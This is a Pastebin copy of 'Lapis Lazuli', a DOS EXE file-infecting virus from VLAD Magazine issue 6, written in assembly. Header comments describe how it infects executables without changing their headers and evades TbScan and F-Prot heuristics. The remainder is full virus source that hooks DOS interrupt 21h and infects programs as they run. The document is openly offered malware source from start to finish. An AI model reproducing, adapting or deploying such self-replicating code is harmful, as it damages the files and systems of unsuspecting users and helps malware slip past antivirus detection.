Advertisement
FlyFar

VLAD Magazine - Issue #6 - ARTICLE.5_7 - Lapis Lazuli

Jul 1st, 2023
1,694
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 7.53 KB | Cybersecurity | 0 0
  1. ; Lapis Lazuli, EXE infector extraordinaire by Rhincewind [Vlad]
  2. ;
  3. ; Lapis Lazuli can infect certain EXE files without modifying the header.
  4. ; This is accomplished by overwriting the entrypoint with viruscode,
  5. ; and saving what was there to the end of the EXE file without updating
  6. ; the imagelength in the header, rendering the original code an internal
  7. ; overlay. The loader places the virus in the IVT, opens argv[0] and
  8. ; restores the code.
  9. ;
  10. ; The original program is not hindered by this virus, save for a few bytes
  11. ; less stackspace and one open file to be closed by DOS termination
  12. ; proceedings.
  13. ;
  14. ; TbScan heuristics are evaded except the 'i' flag it indicates a file with
  15. ; internal overlays with. TbClean's recovery bombs out, in both regular
  16. ; and tracing mode. And as an added bonus, when infection is rejected
  17. ; using TbFile, the program is destroyed. Way to go.
  18. ;
  19. ; F-Prot heuristically detects a virus in the dropper, but not in victims.
  20.  
  21.                 .model tiny
  22.                 .code
  23.                 .286
  24.                 org 100h
  25. virlen          equ (endvirus-start)
  26. virlenpara      equ (endvirus-start+15)/16
  27. start:
  28.                 push es
  29.                 push cs
  30.                 xor dx,dx
  31.                 mov es,dx
  32.                 call $+3
  33. get_delta:      mov di, 200h
  34.                 cld
  35.                 pop si
  36.                 sub si, offset get_delta-100h
  37.                 mov cx, (endvirus-start)
  38.                 pop ds
  39.                 mov word ptr ds:[si+_ss-100h],ss
  40.                 rep movsb
  41.                 mov si, 84h
  42.                 mov ax,cx
  43.                 mov ds,dx
  44.                 cmp word ptr ds:[si+2],ax
  45.                 jz dont_hook
  46.                 movsw
  47.                 movsw
  48.                 xchg si,di
  49.                 std
  50.                 scasw
  51.                 stosw
  52.                 mov ax, offset int21+100h
  53.                 stosw
  54. dont_hook:      pop ds
  55.                 push ds
  56.                 mov es, word ptr ds:[2ch]
  57.                 mov ax,cx
  58.                 mov di,ax
  59.                 cld
  60. find_zero_zero: scasw
  61.                 jz found
  62.                 dec di
  63.                 jmp find_zero_zero
  64.                 db '[Lapis-Lazuli], Rhince/VLAD'
  65. found:          scasw
  66.                 push es
  67.                 pop ds
  68.                 mov dx,di
  69.                 mov ax, 3d00h
  70.                 int 21h
  71.                 jnc argv_0_open
  72.                 mov ax, 4cffh
  73.                 int 21h
  74. argv_0_open:    xchg ax,bx
  75.                 mov ax, 4202h
  76.                 dec cx
  77.                 mov dx, -virlen
  78.                 int 21h
  79.                 pop es
  80.                 push cs
  81.                 pop ds
  82.                 push cs
  83.                 call delta_2
  84. delta_2:        pop si
  85.                 sub si, offset delta_2-100h
  86.                 push si
  87.                 mov dx,si
  88.                 mov ax, 0ea90h
  89.                 push ax
  90.                 mov ax, 1f06h
  91.                 push ax
  92.                 mov ax, 21cdh
  93.                 push ax
  94.                 mov ah, 3fh
  95.                 mov cx, virlen
  96.                 mov word ptr ds:[si+_sp-100h],sp
  97.                 jmp $+2
  98.                 db 0eah
  99. _sp             dw 0
  100. _ss             dw 0
  101. int21:          push ax
  102.                 sub ax, 4b00h
  103.                 jz execute
  104.                 jmp end_handler
  105. execute:        push bx
  106.                 push cx
  107.                 push dx
  108.                 push si
  109.                 push di
  110.                 push bp
  111.                 push ds
  112.                 push es
  113.                 mov ax, 3d02h
  114.                 int 21h
  115.                 jnc file_okay
  116.                 jmp bail
  117. file_okay:      mov bx, 5700h
  118.                 xchg ax,bx
  119.                 int 21h
  120.                 push cx
  121.                 push dx
  122.                 push cs
  123.                 pop ds
  124.                 mov ah, 3fh
  125.                 mov cx, 0ah
  126.                 mov dx, offset buf+100h
  127.                 int 21h
  128.                 xor cx,ax
  129.                 jnz go_close_file
  130.                 mov si,cx
  131.                 mov di,dx
  132.                 add word ptr [di], -'ZM' ;aren't I clever.
  133.                 jnz go_close_file
  134.                 mov ax, 4200h
  135.                 cwd
  136.                 int 21h
  137.                 push bx
  138.                 mov ah, 48h
  139.                 mov bx, word ptr [di+8]
  140.                 cmp bx, virlenpara
  141.                 jae larger
  142.                 mov bx, virlenpara
  143. larger:         int 21h
  144.                 pop bx
  145.                 jnc dont_close_file
  146. go_close_file:  jmp close_file
  147. dont_close_file:push ax
  148.                 mov cx, word ptr ds:[di+8]
  149.                 shl cx,4
  150.                 pop ds
  151.                 mov ah, 3fh
  152.                 int 21h
  153.                 xor cx,ax
  154.                 jnz go_close_file
  155.                 push bx
  156.                 add cx, word ptr ds:[si+6]
  157.                 mov di, 16
  158.                 mov ax, word ptr ds:[si+16h]
  159.                 xor dx,dx
  160.                 imul di
  161.                 add ax, word ptr ds:[si+14h]
  162.                 adc dx,si
  163.                 mov bx,ax
  164.                 mov bp,dx
  165.                 or cx,cx
  166.                 jz no_reloc
  167.                 mov si, word ptr ds:[si+18h]
  168. check_item:     push bp        
  169.                 mov ax, word ptr ds:[si+2]
  170.                 xor dx,dx
  171.                 mul di
  172.                 add ax, word ptr ds:[si]
  173.                 adc dx, 0
  174.                 sub bp,dx
  175.                 jnz next_item
  176.                 sub ax,bx
  177.                 js next_item
  178.                 cmp ax, virlen
  179.                 ja next_item
  180.                 pop bp
  181.                 pop bx
  182.                 jmp abort
  183. next_item:      lodsw
  184.                 lodsw
  185.                 pop bp
  186.                 loop check_item
  187. no_reloc:       mov si,cx
  188.                 mov dx,bx
  189.                 add cx,bp
  190.                 mov ax, word ptr ds:[si+8]
  191.                 shl ax,4
  192.                 add dx,ax
  193.                 adc cx,si
  194.                 pop bx
  195.                 push cx
  196.                 push dx
  197.                 mov ax, 4200h
  198.                 int 21h
  199.                 mov ah, 3fh
  200.                 call dx_zero
  201.                 cmp word ptr ds:[si],0e06h
  202.                 jz bail_amidst_operations
  203.                 xor cx,ax
  204.                 jz read_okay
  205. bail_amidst_operations:                
  206.                 pop ax
  207.                 pop ax
  208.                 jmp close_file
  209. dx_zero:        cwd
  210. cx_virlen:      mov cx, virlen
  211. _int21:         int 21h
  212.                 ret
  213. read_okay:      mov ax, 4202h
  214.                 int 21h
  215. len_okay:       mov ah, 40h
  216.                 call dx_zero
  217.                 mov ax, 4200h
  218.                 pop dx
  219.                 pop cx
  220.                 int 21h
  221.                 push ds
  222.                 push cs
  223.                 pop ds
  224.                 mov ah, 40h
  225.                 mov dx, 200h
  226.                 call cx_virlen
  227.                 pop ds
  228. abort:          push ds  
  229.                 pop es
  230.                 mov ah, 49h
  231.                 int 21h
  232. close_file:     pop ax
  233.                 mov dx, 5701h
  234.                 pop cx
  235.                 xchg ax,dx
  236.                 int 21h
  237.                 mov ah, 3eh        
  238.                 int 21h
  239. bail:           pop es  
  240.                 pop ds
  241.                 pop bp
  242.                 pop di
  243.                 pop si
  244.                 pop dx
  245.                 pop cx
  246.                 pop bx
  247. end_handler:    pop ax
  248.                 db 0eah
  249. endvirus:      
  250. int21offset     equ $
  251. int21seg        equ $+2
  252. buf             equ $+4
  253.                 dw 20cdh
  254.                 db (endvirus-start-2) dup (90h)
  255.                 end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement